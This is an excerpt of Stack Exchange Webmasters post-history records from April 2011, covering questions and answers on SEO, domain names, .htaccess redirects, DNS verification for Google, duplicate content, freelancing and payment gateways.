  <row Id="27395" PostHistoryTypeId="2" PostId="12033" RevisionGUID="47e0f6d1-1bf8-4d19-b06d-dacaf8bf6a9b" CreationDate="2011-04-11T16:35:11.560" UserId="6746" Text="If I look for &quot;payment gateway&quot; I get 7,630,000 results.&#xD;&#xA; That is your competition, and having an &quot;unique website&quot; (I think you mean &quot;website with unique content&quot;) is not enough to be the best out of the 7,629,999 others. &#xD;&#xA;You need to optimize your site according to the current SEO practices (make sure your optimization isn't based on obsolete practices like meta tags, keywords density and more), you don't break Google's TOS (don't sell links, don't link to websites banned by Google - that would put you in a &quot;bad neighborhood&quot;) and the most important: get high quality back-links. For that you'll have to make sure your website has a very good, useful, spread-worth content, will be functional, visitor-friendly and more." />
  <row Id="27396" PostHistoryTypeId="2" PostId="12034" RevisionGUID="c64c6143-14c5-42b3-be55-9666f26296d4" CreationDate="2011-04-11T16:35:15.797" UserId="6753" Text="So I have this domain name &quot;theverbproject.com&quot; that I bought back in December. I recently got an offer for 150.00. I'm debating whether I should sell it or hold out for however longer it takes for another offer. &#xD;&#xA;&#xD;&#xA;Is 150 a reasonable offer, or should I hold onto it?" />
  <row Id="27397" PostHistoryTypeId="1" PostId="12034" RevisionGUID="c64c6143-14c5-42b3-be55-9666f26296d4" CreationDate="2011-04-11T16:35:15.797" UserId="6753" Text="Selling domain names for a reasonable price" />
  <row Id="27398" PostHistoryTypeId="3" PostId="12034" RevisionGUID="c64c6143-14c5-42b3-be55-9666f26296d4" CreationDate="2011-04-11T16:35:15.797" UserId="6753" Text="&lt;domain-names&gt;&lt;reseller&gt;" />
  <row Id="27399" PostHistoryTypeId="5" PostId="11815" RevisionGUID="9e9ddd7d-450a-4b81-a8cb-e360f99e6871" CreationDate="2011-04-11T16:42:24.213" UserId="5042" Comment="added 376 characters in body" Text="We are looking at running some webinars soon, and I was wondering if you folks had any experience with a service you have been happy with.&#xD;&#xA;&#xD;&#xA;We are currently looking at using one of the following (but are always up to suggestions):&#xD;&#xA;&#xD;&#xA;http://www.megameeting.com/overview.html&#xD;&#xA;&#xD;&#xA;https://www.videoseminarlive.com/index.aspx&#xD;&#xA;&#xD;&#xA;http://www.webex.com/&#xD;&#xA;&#xD;&#xA;We also looked at:&#xD;&#xA;http://www.gotomeeting.com&#xD;&#xA;&#xD;&#xA;But they seem to not support video at this time.&#xD;&#xA;&#xD;&#xA;Specifically, we need to be able to provide a live video feed from an instructor (as well as display slides), and accept questions/discussions from the audience via audio or chat. Of course, it is always good to have a clean interface, and if the system works without installing any software, that is a plus as well.&#xD;&#xA;&#xD;&#xA;Any thoughts??&#xD;&#xA;&#xD;&#xA;--Edited to provide details for system requirements." />
  <row Id="27400" PostHistoryTypeId="10" PostId="12034" RevisionGUID="fd2416e8-4a20-4135-8897-bfb3a89dd1ba" CreationDate="2011-04-11T16:58:18.427" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="27401" PostHistoryTypeId="2" PostId="12035" RevisionGUID="4cce0ec8-5b95-4e49-8493-5987318c98f5" CreationDate="2011-04-11T17:06:19.087" UserId="6746" Text="It works for Steve Pavlina: http://www.stevepavlina.com/" />
  <row Id="27402" PostHistoryTypeId="2" PostId="12036" RevisionGUID="d3c4af52-4ce7-49bb-a593-649d655c3515" CreationDate="2011-04-11T17:14:28.547" UserId="6746" Text="Is there any extern factor that can cause the RewriteRule not to work for specific URLs (of existing pages)? &#xD;&#xA;&#xD;&#xA;I have the following code in the .htaccess (it performs redirection but not for all URLs): &#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.)?domain\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;" />
  <row Id="27403" PostHistoryTypeId="1" PostId="12036" RevisionGUID="d3c4af52-4ce7-49bb-a593-649d655c3515" CreationDate="2011-04-11T17:14:28.547" UserId="6746" Text="What can cause RewriteRule to work only for certain pages?" />
  <row Id="27404" PostHistoryTypeId="3" PostId="12036" RevisionGUID="d3c4af52-4ce7-49bb-a593-649d655c3515" CreationDate="2011-04-11T17:14:28.547" UserId="6746" Text="&lt;htaccess&gt;&lt;301-redirect&gt;" />
  <row Id="27405" PostHistoryTypeId="5" PostId="12036" RevisionGUID="81a0374f-c2aa-4f2b-bbc0-70f0728415b7" CreationDate="2011-04-11T17:24:54.803" UserId="6746" Comment="added detail" Text="Is there any extern factor (that is, not in the .htaccess file) that can cause the RewriteRule not to work for specific URLs (of existing pages)? &#xD;&#xA;&#xD;&#xA;I have the following code in the .htaccess (it performs redirection but not for all URLs): &#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.)?domain\.com$&#xD;&#xA;    RewriteRule (.*) http://domain.com/$1 [R=301,L,QSA]&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;" />
  <row Id="27406" PostHistoryTypeId="2" PostId="12037" RevisionGUID="9f1abae2-1020-4017-82fe-b2a01f78606d" CreationDate="2011-04-11T18:04:06.613" UserId="6746" Text="If you really-really want it, create a &quot;I want the yourWantedDomain&quot; page and make it go viral - might reach the current owner. &#xD;&#xA;Create another viral content and mention somewhere there that you want to contact them in order to obtain the domain. That's what I'd do if I wanted the domain so badly.  &#xD;&#xA;If not, can't think of any option; using aardvark to ask who the owner is maybe? (http://vark.com/)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27407" PostHistoryTypeId="25" PostId="12028" RevisionGUID="a53e4a26-b364-47bc-8021-4e72902e2735" CreationDate="2011-04-11T18:09:09.523" Comment="http://twitter.com/#!/StackWebmasters/status/57505480716726272" />
  <row Id="27408" PostHistoryTypeId="2" PostId="12038" RevisionGUID="fa5f1393-1ae9-4ba2-96e0-93257999b566" CreationDate="2011-04-11T18:18:25.363" UserId="3610" Text="Looking in webmaster tools it is reported that I have a thousand of so inbound links from my root domain, domain.com, to www.domain.com. This is despite the fact I have a permanent redirect setup in nginx's conf file to www. &#xD;&#xA;&#xD;&#xA;Obviously I don't want to be penalised for cross domain linking but how can I clear this mess up? To my knowledge the nil domain was never accessible so I don't know how google apparently indexed it. &#xD;&#xA;&#xD;&#xA;Are there some particular steps I should take to resolve this? Is it likely that I am being penalised for duplicate content.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27409" PostHistoryTypeId="1" PostId="12038" RevisionGUID="fa5f1393-1ae9-4ba2-96e0-93257999b566" CreationDate="2011-04-11T18:18:25.363" UserId="3610" Text="Google webmaster tools reporting entire nil subdomain linking to www domain, despite permanent redirect" />
  <row Id="27410" PostHistoryTypeId="3" PostId="12038" RevisionGUID="fa5f1393-1ae9-4ba2-96e0-93257999b566" CreationDate="2011-04-11T18:18:25.363" UserId="3610" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;&lt;subdomain&gt;&lt;duplicate-content&gt;" />
  <row Id="27411" PostHistoryTypeId="2" PostId="12039" RevisionGUID="59d15c5f-e432-4443-ae17-9dbedac3811f" CreationDate="2011-04-11T18:21:59.743" UserId="151" Text="If you are looking for more control, you could do what I did. I use a sub-domain of personal domain that I own to point to myopenid. So if myopenid ever goes under, has problems, turns evil, etc, I can change providers without changing my openid url." />
  <row Id="27412" PostHistoryTypeId="2" PostId="12040" RevisionGUID="502414eb-5ba0-47ba-ba0e-1fbf3b00980b" CreationDate="2011-04-11T18:25:28.567" UserId="6746" Text="Hint: Calliope was the Grek goddess of poetry; Minerva was the Roman goddess of poetry; think calliopeea.com or something similar.&#xD;&#xA;Similar suggestions: http://answers.yahoo.com/question/index?qid=20060902060153AAeOhDM&#xD;&#xA;Quipu: http://en.wikipedia.org/wiki/Quipu&#xD;&#xA;&quot;bluefingers&quot; - when you write a lot you sometimes get a spot:D&#xD;&#xA;&quot;themeltingpen&quot; - if you write enough you get a melting pen:)" />
  <row Id="27413" PostHistoryTypeId="2" PostId="12041" RevisionGUID="17b877a4-d0ed-401c-9f52-2df71617583f" CreationDate="2011-04-11T18:35:16.150" UserId="1253" Text="Have you set up [preferred domain in Google Webmaster Tools][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=44231" />
  <row Id="27414" PostHistoryTypeId="2" PostId="12042" RevisionGUID="a8464207-0d47-45e2-9302-f2c25ceb8bc6" CreationDate="2011-04-11T18:40:02.807" UserId="4502" Text="Based on the examples you posted in response to my comment above, you're confused.&#xD;&#xA;&#xD;&#xA;Dribbble and Foursquare aren't using web font/font-face embedding at all. They're simply specifying Helvetica Neue in their font-family stacks. If a visitor happens to have that font installed on their system, then they'll see it. They quite likely don't, in which case their system will try the next font down, and so on until either something matches or it just ends up using their default for sans-/serif/monospace." />
  <row Id="27422" PostHistoryTypeId="2" PostId="12044" RevisionGUID="3af9c025-b417-493a-a9a0-ffdefd9f2c1c" CreationDate="2011-04-11T19:44:04.913" UserId="3610" Text="Is there any precedent or testing of using a breadcrumb list of separate links (and current page text) within an h1 and search engine algorithms?" />
  <row Id="27423" PostHistoryTypeId="1" PostId="12044" RevisionGUID="3af9c025-b417-493a-a9a0-ffdefd9f2c1c" CreationDate="2011-04-11T19:44:04.913" UserId="3610" Text="h1 including breadcrumb links" />
  <row Id="27424" PostHistoryTypeId="3" PostId="12044" RevisionGUID="3af9c025-b417-493a-a9a0-ffdefd9f2c1c" CreationDate="2011-04-11T19:44:04.913" UserId="3610" Text="&lt;seo&gt;&lt;breadcrumbs&gt;&lt;heading&gt;" />
  <row Id="27425" PostHistoryTypeId="2" PostId="12045" RevisionGUID="5b666ab7-ae12-4834-aa8a-317ea1237d02" CreationDate="2011-04-11T20:26:58.213" UserId="6762" Text="I notice that Yahoo and Bing have started indexing the mobile version of my website, which is located at /mobile from the root. All of the mobile content is just a reduced layout version of the real site. &#xD;&#xA;&#xD;&#xA;Is it going to negatively affect my SEO if the crawlers are seeing two locations that essentially have the same content?&#xD;&#xA;" />
  <row Id="27426" PostHistoryTypeId="1" PostId="12045" RevisionGUID="5b666ab7-ae12-4834-aa8a-317ea1237d02" CreationDate="2011-04-11T20:26:58.213" UserId="6762" Text="Should I block indexing of my mobile site?" />
  <row Id="27427" PostHistoryTypeId="3" PostId="12045" RevisionGUID="5b666ab7-ae12-4834-aa8a-317ea1237d02" CreationDate="2011-04-11T20:26:58.213" UserId="6762" Text="&lt;seo&gt;&lt;mobile&gt;" />
  <row Id="27428" PostHistoryTypeId="2" PostId="12046" RevisionGUID="4a0e79b2-da30-4cdf-a573-17965281940f" CreationDate="2011-04-11T20:33:54.267" UserId="1253" Text="It could cause duplicate content issues, particularly with Google. If the content is exactly the same I'd block the mobile content from crawlers." />
  <row Id="27429" PostHistoryTypeId="2" PostId="12047" RevisionGUID="353ffeeb-75be-451c-b4be-f2362f40c396" CreationDate="2011-04-11T20:35:54.777" UserId="2821" Text="Stick in (mobile) or some other indicator into the title of each page and Google should be able to figure out which site people want.&#xD;&#xA;&#xD;&#xA;Google has people that check over the content of search results that should appear so they should be able to distinguish between standard and mobile websites." />
  <row Id="27430" PostHistoryTypeId="6" PostId="375" RevisionGUID="f46c7b51-3260-46d7-9803-36037021ef9f" CreationDate="2011-04-11T20:55:11.417" UserId="6746" Comment="added tags" Text="&lt;traffic&gt;&lt;statistics&gt;&lt;botattack&gt;" />
  <row Id="27431" PostHistoryTypeId="24" PostId="375" RevisionGUID="f46c7b51-3260-46d7-9803-36037021ef9f" CreationDate="2011-04-11T20:55:11.417" Comment="Proposed by 6746 approved by 1253 edit id of 106" />
  <row Id="27432" PostHistoryTypeId="25" PostId="12045" RevisionGUID="890957fb-401c-473f-aad9-19802fa118ea" CreationDate="2011-04-11T21:09:09.517" Comment="http://twitter.com/#!/StackWebmasters/status/57550779631935488" />
  <row Id="27433" PostHistoryTypeId="2" PostId="12048" RevisionGUID="c1d5576b-367e-42f0-b486-6650f2f530ce" CreationDate="2011-04-11T21:16:45.323" UserId="5034" Text="you have to log in to your registrar and set an A record to point to your VPS' ip address.  &#xD;&#xA;consult your registrars online help if you can't figure out how to do that." />
  <row Id="27434" PostHistoryTypeId="2" PostId="12049" RevisionGUID="6a29ced2-4674-43df-997f-87948547a25f" CreationDate="2011-04-11T21:36:25.953" UserId="2907" Text="Don't know if this helps, but many hosting companies will let you set up subdomains. I don't know about the windows side, but many, like hostmonster.com will allow you to set up multiple top level or subdomains for $6/month. All of these will have full PHP/MySQL setup, so you could do...&#xD;&#xA;&#xD;&#xA;www.livedomain.com // prod&#xD;&#xA;test.livedomain.com // test&#xD;&#xA;dev.livedomain.com // dev&#xD;&#xA;&#xD;&#xA;to have an area to code, an area to review before going live, and then a live area. I would think IIS would allow a similar setup to Apache to accomplish this..." />
  <row Id="27435" PostHistoryTypeId="2" PostId="12050" RevisionGUID="9b3a5b28-c36d-4b25-96f8-488f67aa01ba" CreationDate="2011-04-11T21:44:54.320" UserId="2907" Text="Some of it depends on the purpose of the site. If you're building a personal site for your own interests then @JustinScott above covers about everything really well. I would probably look for an ISP and get the domain name concurrent with the other steps though...&#xD;&#xA;&#xD;&#xA;If it's a commercial site, you'll want to meet with a client to gather their goals and needs for the various sections, then put together a &quot;requirements&quot; doc to state exactly what will be delivered for each part. This way you have a blueprint to work off of that they've agreed to (signed) so you can later say &quot;that's out of scope&quot; when they want something else added or changed. Out of scope things can be added, but there should be a cost in either time, money or both.&#xD;&#xA;&#xD;&#xA;The other steps fall are about the same for commercial or more formal projects, with a section for Q&amp;A/Testing/Fixing Issues after the development and before the release.&#xD;&#xA;&#xD;&#xA;Finally... there's the never ending &quot;maintenance&quot; phase of projects where you dread having ever started working on it in the first place :-)" />
  <row Id="27436" PostHistoryTypeId="2" PostId="12051" RevisionGUID="48307417-21ce-4c2a-9a8c-8b06a3ea6e8e" CreationDate="2011-04-11T21:53:55.453" UserId="2907" Text="Do you mean you want to be able to go from a page on the main site like...&#xD;&#xA;&#xD;&#xA;www.domainname.com/sub1/sub2/page.php&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;fr.domainname.com/sub1/sub2/page.php&#xD;&#xA;&#xD;&#xA;When someone clicks for the French version for example?&#xD;&#xA;&#xD;&#xA;If all you need to do is move the /sub1/sub2/page.php and any variables part, you could look at the &quot;parse_url&quot; function...&#xD;&#xA;&#xD;&#xA;http://php.net/manual/en/function.parse-url.php&#xD;&#xA;&#xD;&#xA;Alternately, you may be able to do some URL rewriting to accomplish some of this, but I'm no Apache expert." />
  <row Id="27437" PostHistoryTypeId="5" PostId="11907" RevisionGUID="e40cc087-0c2c-4008-8caf-f857b633edc8" CreationDate="2011-04-11T21:57:36.857" UserId="1009" Comment="added 454 characters in body; added 28 characters in body" Text="Adding a DNS record to your domain's configuration is probably the easiest option for you. The other options require you to modify files on your web server, which you may not have set up if you are only interested in email.&#xD;&#xA;&#xD;&#xA;Instructions for NameCheap:&#xD;&#xA;&#xD;&#xA; 1. [Get the verification code from Google.][1] Make sure you have chosen the DNS method. The code looks something like this: `google-site-verification=owWoTtsd...`&#xD;&#xA; 2. Find the NameCheap settings for your domain, then go to &quot;All Host Records&quot;. You may also copy-paste this address, replacing your domain where appropriate: `https://manage.www.namecheap.com/myaccount/modsingle.asp?domain=YOURDOMAIN.COM&amp;type=hosts&amp;rkey=NC'`&#xD;&#xA; 3. Add a TXT type record with the code from Google in step 1. I guess you should use the &quot;IP ADDRESS/URL&quot; field. The &quot;HOST HAME&quot; field should be `@` or just left blank.&#xD;&#xA; 4. Wait up to 24 hours. DNS changes may actually take up to 72 hours to propagate, but I have sometimes successfully verified after only a a few hours.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;**update:** Quick summary of other 3 verification methods:&#xD;&#xA;&#xD;&#xA;1. **Link to your Google Analytics account:** You needed to verify ownership of the domain if you're using Google Analytics, so this just re-uses the work done for that verification. Of course, one of the other methods had to be used!&#xD;&#xA;2. **Upload an HTML file to your server.** Exactly what it sounds like. Google gives you an HTML file with a special filename that you probably can't guess. You upload it to your server and Google checks if the special file can be downloaded.&#xD;&#xA;3. **Add a meta tag to your site's home page.** Google gives you a different special code, which it looks for in the source of your web site's index page. Here is [an example][2]. The code looks like this: `&lt;meta name=&quot;google-site-verification&quot; content=&quot;rtmnVO7B4xweIZ_O-O1d1RDbww0XlagiIwkKQblhZak&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;The other methods are indeed faster, taking as short as a few seconds to update (assuming you already have a web server set up or previously did the DNS verification for Analytics).&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;**update:** How to check your DNS TXT records:&#xD;&#xA;&#xD;&#xA;[MX Toolbox][3] lets you check your DNS TXT records. Compare results to a domain that [successfully verified via DNS TXT records][4] Note that this domain has two TXT records; the &quot;spf&quot; one is not required. SPF records are used to help prevent emails being marked as SPAM.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/a/bin/answer.py?answer=60216&#xD;&#xA;  [2]: http://www.coolcases.com/&#xD;&#xA;  [3]: http://www.mxtoolbox.com/SuperTool.aspx?action=spf:koreabites.com&#xD;&#xA;  [4]: http://www.mxtoolbox.com/SuperTool.aspx?action=spf:koreabites.com" />
  <row Id="27438" PostHistoryTypeId="5" PostId="11907" RevisionGUID="ebb5f609-1ae1-431e-b682-951433b59491" CreationDate="2011-04-11T22:06:37.177" UserId="1009" Comment="added 9 characters in body" Text="Adding a DNS record to your domain's configuration is probably the easiest option for you. The other options require you to modify files on your web server, which you may not have set up if you are only interested in email.&#xD;&#xA;&#xD;&#xA;Instructions for NameCheap:&#xD;&#xA;&#xD;&#xA; 1. [Get the verification code from Google.][1] Make sure you have chosen the DNS method. The code looks something like this: `google-site-verification=owWoTtsd...`&#xD;&#xA; 2. Find the NameCheap settings for your domain, then go to &quot;All Host Records&quot;. You may also copy-paste this address, replacing your domain where appropriate: `https://manage.www.namecheap.com/myaccount/modsingle.asp?domain=YOURDOMAIN.COM&amp;type=hosts&amp;rkey=NC'`&#xD;&#xA; 3. Add a TXT type record with the code from Google in step 1. I guess you should use the &quot;IP ADDRESS/URL&quot; field. The &quot;HOST HAME&quot; field should be `@` or just left blank.&#xD;&#xA; 4. Wait up to 24 hours. DNS changes may actually take up to 72 hours to propagate, but I have sometimes successfully verified after only a a few hours.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;**update:** Quick summary of other 3 verification methods:&#xD;&#xA;&#xD;&#xA;1. **Link to your Google Analytics account:** You needed to verify ownership of the domain if you're using Google Analytics, so this just re-uses the work done for that verification. Of course, one of the other methods had to be used!&#xD;&#xA;2. **Upload an HTML file to your server.** Exactly what it sounds like. Google gives you an HTML file with a special filename that you probably can't guess. You upload it to your server and Google checks if the special file can be downloaded.&#xD;&#xA;3. **Add a meta tag to your site's home page.** Google gives you a different special code, which it looks for in the source of your web site's index page. Here is [an example][2]. The code looks like this: `&lt;meta name=&quot;google-site-verification&quot; content=&quot;rtmnVO7B4xweIZ_O-O1d1RDbww0XlagiIwkKQblhZak&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;The other methods are indeed faster, taking as short as a few seconds to update (assuming you already have a web server set up or previously did the DNS verification for Analytics).&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;**update:** How to check your DNS TXT records:&#xD;&#xA;&#xD;&#xA;[MX Toolbox][3] lets you check your DNS TXT records. Compare results to a domain that [successfully verified via DNS TXT records][4] Note that this domain has two TXT records; the &quot;spf&quot; one is not required. SPF records are used to help prevent outgoing emails being marked as SPAM.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/a/bin/answer.py?answer=60216&#xD;&#xA;  [2]: http://www.coolcases.com/&#xD;&#xA;  [3]: http://www.mxtoolbox.com/SuperTool.aspx?action=txt:koreabites.com&#xD;&#xA;  [4]: http://www.mxtoolbox.com/SuperTool.aspx?action=txt:koreabites.com" />
  <row Id="27442" PostHistoryTypeId="2" PostId="12053" RevisionGUID="755a00b0-c24b-41fd-8088-c79479a4e80a" CreationDate="2011-04-11T22:20:30.700" UserId="2907" Text="Can anyone share any advice or experiences using any of the many freelance gun for hire sites out there like guru.com?&#xD;&#xA;&#xD;&#xA;I may be leading a small development team soon to run a project that will from time to time need outside help and I'd rather farm out some components that can be well defined up front in the event that the team and myself get overwhelmed or behind.&#xD;&#xA;&#xD;&#xA;I'm thinking everything from local developers on craigslist to some outsourced services, but haven't had much experience with either.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="27443" PostHistoryTypeId="1" PostId="12053" RevisionGUID="755a00b0-c24b-41fd-8088-c79479a4e80a" CreationDate="2011-04-11T22:20:30.700" UserId="2907" Text="Using Freelance Services" />
  <row Id="27444" PostHistoryTypeId="3" PostId="12053" RevisionGUID="755a00b0-c24b-41fd-8088-c79479a4e80a" CreationDate="2011-04-11T22:20:30.700" UserId="2907" Text="&lt;web-development&gt;&lt;websites&gt;" />
  <row Id="27445" PostHistoryTypeId="2" PostId="12054" RevisionGUID="8850f3f4-6528-4f80-a066-c00c14649ac8" CreationDate="2011-04-11T22:50:33.070" UserId="6764" Text="You might want to check the backlinks of the website using:&#xD;&#xA;&#xD;&#xA;site:domain.com&#xD;&#xA;&#xD;&#xA;in yahoo. Another alternative is Open Site Explorer:&#xD;&#xA;http://www.opensiteexplorer.org/&#xD;&#xA;&#xD;&#xA;I'll bet that most of the backlinks are spam, probably from Scrapebox or Xrumer. &#xD;&#xA;&#xD;&#xA;Greetings from another unethical SEO :)" />
  <row Id="27446" PostHistoryTypeId="2" PostId="12055" RevisionGUID="b0cbb228-ee4a-4caa-9926-7bc8064f1ca9" CreationDate="2011-04-11T22:55:47.873" UserId="6764" Text="Build links to it yourself. That's all it comes down to with google, links links links... As for how to build links? Read a couple of article on Linkbuilding. Suggest you start at SEOMoz. " />
  <row Id="27447" PostHistoryTypeId="16" PostId="12053" RevisionGUID="a2867ceb-ff02-4cab-b8a5-01b5d3207af7" CreationDate="2011-04-11T23:37:23.017" UserId="1253" />
  <row Id="27448" PostHistoryTypeId="2" PostId="12056" RevisionGUID="63502009-26f5-4ab2-b4b2-a0cf2257f7d8" CreationDate="2011-04-11T23:38:20.743" UserId="6304" Text="well regardless of site that you use you're almost always going to get a bunch of offers that are either automatic or are damn close to it from various dev groups.&#xD;&#xA;Your best bet is to detail out what the required skills are in detail (i.e. not just experience with php5, but more along the lines of experience of use php5 along with jquery to parse json results into...)..&#xD;&#xA;&#xD;&#xA;some of the freelance sites are better (at least it seems to me) than others for specific needs.. ie. elance i go to whenever i need copywriting. i'll use odesk (because of their tracking ability) for any coding projects that are more than just simple scripts... &#xD;&#xA;&#xD;&#xA;As for finding designers.. i usually go through http://creattica.com/  and take a look at the portfolios there..&#xD;&#xA;&#xD;&#xA;Make sure that your requirements are solid/straightforward as well as whatever timeline you setup with whoever you work with (as well as what happens if the timeline is broken.. )" />
  <row Id="27449" PostHistoryTypeId="2" PostId="12057" RevisionGUID="9d764e4e-258f-4de1-911d-459f27580a78" CreationDate="2011-04-11T23:54:37.750" UserId="5727" Text="I have 2 domains:&#xD;&#xA;&#xD;&#xA;    www.company.com&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    www.product.com&#xD;&#xA;&#xD;&#xA;I like both domains, they both point to the same site.  I have all my canonical links set up properly, but do I have to pick one of the domains to be the master?&#xD;&#xA;&#xD;&#xA;Some of my visitors really like going to&#xD;&#xA;&#xD;&#xA;    product.com/page.html&#xD;&#xA;&#xD;&#xA;And others like&#xD;&#xA;&#xD;&#xA;    company.com/page.html&#xD;&#xA;&#xD;&#xA;But should they ALL 301 and redirect to&#xD;&#xA;&#xD;&#xA;    company.com/page.html?" />
  <row Id="27450" PostHistoryTypeId="1" PostId="12057" RevisionGUID="9d764e4e-258f-4de1-911d-459f27580a78" CreationDate="2011-04-11T23:54:37.750" UserId="5727" Text="Redirecting domains to prevent duplicate content" />
  <row Id="27451" PostHistoryTypeId="3" PostId="12057" RevisionGUID="9d764e4e-258f-4de1-911d-459f27580a78" CreationDate="2011-04-11T23:54:37.750" UserId="5727" Text="&lt;duplicate-content&gt;&lt;301-redirect&gt;" />
  <row Id="27452" PostHistoryTypeId="2" PostId="12058" RevisionGUID="d35b81c4-b582-48d4-89f8-e25c6e896596" CreationDate="2011-04-11T23:56:29.667" UserId="6766" Text="i use fanapay.com as a payment gateway ,they accept most web sites.&#xD;&#xA;there gateway easy and secure plus no set fees or monthly fees only per transaction.&#xD;&#xA;they accept site and users worldwide." />
  <row Id="27453" PostHistoryTypeId="25" PostId="12044" RevisionGUID="2949b53f-9983-4aab-9bc0-4b051fff3f56" CreationDate="2011-04-12T00:09:09.490" Comment="http://twitter.com/#!/StackWebmasters/status/57596077053972480" />
  <row Id="27454" PostHistoryTypeId="2" PostId="12059" RevisionGUID="785e3e23-65ee-455f-81ff-6e2e5dbce300" CreationDate="2011-04-12T00:23:47.580" UserId="1253" Text="Yes, they should all point to one domain. Not only is this good for SEO, but you can't forget about your human visitors. Having one domain is far less confusing then two." />
  <row Id="27455" PostHistoryTypeId="2" PostId="12060" RevisionGUID="35222120-deca-4eab-bb41-3ea9731972f4" CreationDate="2011-04-12T02:46:45.327" UserId="6768" Text="**What is the best way to authorize credit card payments on my website?** Considering price and ease (and any other factor an ignoramus such as myself does not know about).&#xD;&#xA;&#xD;&#xA;I would like to sell tickets (for one project) and fudge (for another project) on websites I am developing. I've used both PayPal and Authorize.net in the past and was wondering what my options are and if anyone has had any especially good experiences (or horror stories)." />
  <row Id="27456" PostHistoryTypeId="1" PostId="12060" RevisionGUID="35222120-deca-4eab-bb41-3ea9731972f4" CreationDate="2011-04-12T02:46:45.327" UserId="6768" Text="What is the best way to authorize credit card payments on my website?" />
  <row Id="27457" PostHistoryTypeId="3" PostId="12060" RevisionGUID="35222120-deca-4eab-bb41-3ea9731972f4" CreationDate="2011-04-12T02:46:45.327" UserId="6768" Text="&lt;ecommerce&gt;&lt;recommendations&gt;&lt;creditcard&gt;" />
  <row Id="27461" PostHistoryTypeId="25" PostId="12016" RevisionGUID="250acac6-5c22-4aed-86d6-de442c7c7669" CreationDate="2011-04-12T03:09:09.750" Comment="http://twitter.com/#!/StackWebmasters/status/57641376023715841" />
  <row Id="27462" PostHistoryTypeId="6" PostId="11262" RevisionGUID="ce73f53d-65de-4224-a306-984eb1e58c97" CreationDate="2011-04-12T03:58:27.820" UserId="4306" Comment="added load testing tag" Text="&lt;performance&gt;&lt;load-testing&gt;" />
  <row Id="27463" PostHistoryTypeId="24" PostId="11262" RevisionGUID="ce73f53d-65de-4224-a306-984eb1e58c97" CreationDate="2011-04-12T03:58:27.820" Comment="Proposed by 4306 approved by 1253 edit id of 107" />
  <row Id="27464" PostHistoryTypeId="5" PostId="11262" RevisionGUID="9cb648e9-5d75-4cb3-bf8e-a9b7b83b8a24" CreationDate="2011-04-12T03:59:04.717" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do you load test your application?](http://webmasters.stackexchange.com/questions/385/how-do-you-load-test-your-application)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;I have finished 95% of my web application. Now, I would like to make sure that the website is stable even with 5000 or more concurrent connections.&#xD;&#xA;&#xD;&#xA;How do you test??" />
  <row Id="27465" PostHistoryTypeId="10" PostId="11262" RevisionGUID="922f5092-0aea-4e03-a79a-106df61540bd" CreationDate="2011-04-12T03:59:03.890" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="27466" PostHistoryTypeId="10" PostId="12060" RevisionGUID="a21eae07-d150-4bd4-b6ec-114f8782d761" CreationDate="2011-04-12T04:00:32.000" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="27467" PostHistoryTypeId="2" PostId="12062" RevisionGUID="a1ca406c-4866-4f2f-8709-cdbd559edaee" CreationDate="2011-04-12T04:04:05.490" UserDisplayName="vengateswaran c" Text="Im planning to deploy a Webapps which i want to expose to all people on internet. I can buy a domain name, and redirect it to a public host which hosts my J2ee application. &#xD;&#xA;Whom should i choose for hosting my webapp ? What are my for hosting options? Im want good performance for better user experience. And price is definitely a concern.&#xD;&#xA;&#xD;&#xA;" />
